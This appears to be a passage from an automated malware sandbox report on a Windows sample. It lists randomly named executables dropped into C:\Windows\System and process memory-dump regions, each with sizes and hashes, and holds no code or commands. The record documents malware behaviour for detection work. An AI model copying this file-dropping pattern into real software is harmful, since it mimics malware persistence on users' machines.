6973368bfc235016447ba82facf9fbeafe3ca14b

SHA256
8e4659175d25cac936b75b2e8e3610d57ac945b529320251cacf0cabbdaf0e71

SHA512
bf8e1c11ef825985b5ad4d45f6b98191c8b2e11b0d2c60d11c685fd08e4e1278788d237673afc9f1be203d38dc835f2e8a09b2e1684e173e4ad32b2b8a1874ea

Download Submit
C:\Windows\System\pGHguZM.exe

Filesize
2.1MB

MD5
15593378acb4d9f129fb3a7e3c4206cb

SHA1
25fc53c93e917907e44087865d1e7e751d67d509

SHA256
ecfd43b6df22bf0d405d66c519b49d67caf0104fd5f516ebc740b7975bda8f43

SHA512
ad98a069f229b0bcc980db7c88a8a8dff6598bc3871271eaa60c64132e0cdfb4bd93e24891fe484c18e0a94151ee8d4467002d3de7f1d3ab242d4fe44bc8e0dc

Download Submit
C:\Windows\System\pgchLDQ.exe

Filesize
2.2MB

MD5
78a12aa1bcb5ea0db34b5aec7cd25a24

SHA1
a390ce93523c41ec1945137db0ec95bb080319ed

SHA256
0049ca848247b1453ff2348b59d0c0928fc311ad0a1970a2efe003ff87f6b30d

SHA512
6498430ba1db8e9dca5163ed00082517627b9ccb21bb2d0c93a9aa992261d7cd160d79ab01a7ce3a31e74995961dfca36b7d9c873af9fb9f0f0c61d2a8f24f49

Download Submit
C:\Windows\System\sYcFcqO.exe

Filesize
2.2MB

MD5
b78ffbeda33a8155a3b060d5bb101b64

SHA1
4a7b6757beaa9ef59b789828d1483a10185295a6

SHA256
9f8fb8d4e6249ecc5d0ff774f3dd4fea3aa5cca1d3498555905e680d1fe21f13

SHA512
beea7f107a774838a53b53380de6c4d96df5cdbd4c5e2fb3daf1f1d1b112f6f43962813236e8241750d1f2a00aa9d84ce3a6c1f715071770ce7362d707b52e4d

Download Submit
C:\Windows\System\uWvBmvk.exe

Filesize
8B

MD5
408407fe49e2a1bd1de2fb4f4e1c1e4e

SHA1
6781f0ed16b9f9a0e8a861848782ae1a9b183885

SHA256
413c20c52ba69478c63daee39bcd70926f09cbc71ce3aa1577802440938b324a

SHA512
51204da6f17b6725f4e9b8b9381f34a7ed365926b3780a3bfe9e8d70ab81ec8caad96b3f0838e87a0f0c0c6baeed1ea2ea2f5c7ee1fa6a13b720a1ec69c3f3fd

Download Submit
C:\Windows\System\uYmWdBD.exe

Filesize
2.2MB

MD5
2826690b6df8b75612cb86a25bd2cd44

SHA1
9c61bd93d219b1326ad029ee6e0b62005d6aa5a1

SHA256
c8d85c1d7909e6f8b28e1df2d96cfcf6610016805c10bde7f39e12664f94cd45

SHA512
b77c3b4a0d02109078ea120f3ca288dd19777f0cf11c12864a78f5b01a54c386211b89323d967b38d7624c4065cb1039de0ae7a824bf4eb87189626325f11518

Download Submit
C:\Windows\System\uzeVmbF.exe

Filesize
2.2MB

MD5
1282507607e0b1067ea592581cd0cc75

SHA1
c6aba375ecddac2278452bb9442764462ed58715

SHA256
af6376457b7383da98d80c614dd7d6463d32575c3c36d2222d5cf094083ce550

SHA512
8fdf44cd65767fab344f0c55e0c0f635eb4a38309757f759c8f46619813ef90e338e709cf9b531647c6e8e8071aa77188938bf29eb673298b6a2a54dfa024b04

Download Submit
C:\Windows\System\yqBdJGc.exe

Filesize
2.2MB

MD5
ec4c7d1d133bc875ed42c2626ebadaa4

SHA1
31575057a984ca01bb3384fd1b50d3d7b2549a5d

SHA256
8d518293f4e19c49b41ef12271a59232c2c24185c7d18b550f485d5b1cbe6c93

SHA512
8d29ed9462bbb1530d785932a824d416e486eafae636d4d7816680807ba7920bbd85148c23a14acff11c5a71e21a29ffa2d8809475f5672c26de830e33e8acd3

Download Submit
C:\Windows\System\zRNOGul.exe

Filesize
2.2MB

MD5
014532909ccfcaf87f70e33fd9f9ee51

SHA1
c399c67692ecce81bc0dae8dad2e0cd705614d87

SHA256
6bfc67fcdcca2583dad7871239666b8d81830dc8a871dc2864876384c21f5694

SHA512
caeb65be8dae019e8d6594679c50c7e7e5677cf7e0e3dd1fa3da8b0efb1af91e62cfec5651d933d7fc877af95fba6d47f1e182c9c6be7a7099744c181170ca98

Download Submit
C:\Windows\System\zkpkVAz.exe

Filesize
2.1MB

MD5
79ee32b630f8bf7bc275c46991038c3b

SHA1
0303b08d616321ec7fcbb6d25ef4be3a186a6260

SHA256
8ebfb67863eb7308b624d65c6e553ec05c7f74c4560d2a01e1b56a27d84093a4

SHA512
a51497162bbaecdcf4d0e063f63474ab57166eb3a94ffdcd458467de4b9473f10847b34d37526e513eb15c138ba9a640ca10ffe863cf145745e25f6beb5e3f75

Download Submit
C:\Windows\System\zxRJnHo.exe

Filesize
2.1MB

MD5
de5720668175e504c18850e05d6a101b

SHA1
1f702041fa07a69de7137a10ca8b8029c109a8a1

SHA256
4f00abed4e0cae6ffab57f561e341214311b7b99c4b596da90e4ba5ebb6cec04

SHA512
ea3ec5b2eb8f26382623128bc4f6c4f513b4db4e626fce7825159a328e51de2181b71c64525fa6c8f18b159ee83d99d3959498d72a374492691c7d6c2ed72118

Download Submit
memory/436-235-0x00007FF601840000-0x00007FF601C32000-memory.dmp

Filesize
3.9MB

Download
memory/436-3897-0x00007FF601840000-0x00007FF601C32000-memory.dmp

Filesize
3.9MB

Download
memory/784-3919-0x00007FF75DA50000-0x00007FF75DE42000-memory.dmp

Filesize
3.9MB

Download
memory/784-319-0x00007FF75DA50000-0x00007FF75DE42000-memory.dmp

Filesize
3.9MB

Download
memory/1080-3943-0x00007FF6FDFF0000-0x00007FF6FE3E2000-memory.dmp

Filesize
3.9MB

Download
memory/1080-321-0x00007FF6FDFF0000-0x00007FF6FE3E2000-memory.dmp

Filesize
3.9MB

Download
memory/1152-3909-0x00007FF7C66B0000-0x00007FF7C6AA2000-memory.dmp

Filesize
3.9MB

Download
memory/1152-162-0x00007FF7C66B0000-0x00007FF7C6AA2000-memory.dmp

Filesize
3.9MB

Download
memory/1376-3917-0x00007FF7027D0000-0x00007FF702BC2000-memory.dmp

Filesize
3.9MB

Download
memory/1376-306-0x00007FF7027D0000-0x00007FF702BC2000-memory.dmp

Filesize
3.9MB

Download
memory/1528-192-0x00007FF6C6140000-0x00007FF6C6532000-memory.dmp

Filesize
3.9MB

Download
memory/1528-3913-0x00007FF6C6140000-0x00007FF6C6532000-memory.dmp

Filesize
3.9MB

Download
memory/1584-3896-0x00007FF7AE0B0000-0x00007FF7AE4A2000-memory.dmp

Filesize
3.9MB

Download
memory/1584-323-0x00007FF7AE0B0000-0x00007FF7AE4A2000-memory.dmp

Filesize
3.9MB

Download
memory/2056-277-0x00007FF79BE90000-0x00007FF79C282000-memory.dmp

Filesize
3.9MB

Download
memory/2056-3902-0x00007FF79BE90000-0x00007FF79C282000-memory.dmp

Filesize
3.9MB

Download
memory/2092-3916-0x00007FF649BA0000-0x00007FF649F92000-memory.dmp

Filesize
3.9MB

Download
memory/2092-318-0x00007FF649BA0000-0x00007FF649F92000-memory.dmp

Filesize
3.9MB

Download
memory/2244-3928-0x00007FF62E850000-0x00007FF62EC42000-memory.dmp

Filesize
3.9MB

Download
memory/2244-320-0x00007FF62E850000-0x00007FF62EC42000-memory.dmp

Filesize
3.9MB

Download
memory/2972-3900-0x00007FF7B3CC0000-0x00007FF7B40B2000-memory.dmp

Filesize
3.9MB

Download
memory/2972-316-0x00007FF7B3CC0000-0x00007FF7B40B2000-memory.dmp

Filesize
3.9MB

Download
memory/3008-322-0x00007FF7CD3B0000-0x00007FF7CD7A2000-memory.dmp

Filesize
3.9MB

Download
memory/3008-3923-0x00007FF7CD3B0000-0x00007FF7CD7A2000-memory.dmp

Filesize
3.9MB

Download
memory/3840-325-0x00007FF766960000-0x00007FF766D52000-memory.dmp

Filesize
3.9MB

Download
memory/3840-3911-0x00007FF766960000-0x00007FF766D52000-memory.dmp

Filesize
3.9MB

Download
memory/3844-55-0x00007FF6F1110000-0x00007FF6F1502000-memory.dmp

Filesize
3.9MB

Download
memory/3844-3889-0x00007FF6F1110000-0x00007FF6F1502000-memory.dmp

Filesize
3.9MB

Download
memory/3844-3893-0x00007FF6F1110000-0x00007FF6F1502000-memory.dmp

Filesize
3.9MB

Download
memory/4008-14-0x00007FF65A6C0000-0x00007FF65AAB2000-memory.dmp

Filesize
3.9MB

Download
memory/4008-3884-0x00007FF65A6C0000-0x00007FF65AAB2000-memory.dmp

Filesize
3.9MB

Download
memory/4008-3891-0x00007FF65A6C0000-0x00007FF65AAB2000-memory.dmp

Filesize
3.9MB

Download
memory/4228-1-0x0000016E46220000-0x0000016E46230000-memory.dmp

Filesize
64KB

Download
memory/4228-0-0x00007FF692B80000-0x00007FF692F72000-memory.dmp

Filesize
3.9MB

Download
memory/4268-296-0x00007FF66DE10000-0x00007FF66E202000-memory.dmp

Filesize
3.9MB

Download
memory/4268-3931-0x00007FF66DE10000-0x00007FF66E202000-memory.dmp

Filesize
3.9MB

Download
memory/4520-31-0x00007FF7FBE90000-0x00007FF7FC282000-memory.dmp

Filesize
3.9MB

Download
memory/4520-3903-0x00007FF7FBE90000-0x00007FF7FC282000-memory.dmp

Filesize
3.9MB

Download
memory/4520-3887-0x00007FF7FBE90000-0x00007FF7FC282000-memory.dmp

Filesize
3.9MB

Download
memory/4560-124-0x0000027105FD0000-0x0000027105FE0000-memory.dmp

Filesize
64KB

Download
memory/4560-119-0x00007FFE399D0000-0x00007FFE3A491000-memory.dmp

Filesize
10.8MB

Download
memory/4560-2698-0x00007FFE399D0000-0x00007FFE3A491000-memory.dmp

Filesize
10.8MB

Download
memory/4560-314-0x0000027106040000-0x0000027106062000-memory.dmp

Filesize
136KB

Download
memory/4560-125-0x0000027105FD0000-0x0000027105FE0000-memory.dmp

Filesize
64KB

Download
memory/4572-317-0x00007FF6CACE0000-0x00007FF6CB0D2000-memory.dmp

Filesize
3.9MB

Download
memory/4572-3922-0x00007FF6CACE0000-0x00007FF6CB0D2000-memory.dmp

Filesize
3.9MB

Download
memory/4620-324-0x00007FF6228A0000-0x00007FF622C92000-memory.dmp

Filesize
3.9MB

Download
memory/4620-3908-0x00007FF6228A0000-0x00007FF622C92000-memory.dmp

Filesize
3.9MB

Download
memory/4724-3925-0x00007FF71CEB0000-0x00007FF71D2A2000-memory.dmp

Filesize
3.9MB

Download
memory/4724-165-0x00007FF71CEB0000-0x00007FF71D2A2000-memory.dmp

Filesize
3.9MB

Download
memory/5032-3906-0x00007FF765440000-0x00007FF765832000-memory.dmp

Filesize
3.9MB

Download
memory/5032-298-0x00007FF765440000-0x00007FF765832000-memory.dmp

Filesize
3.9MB

Download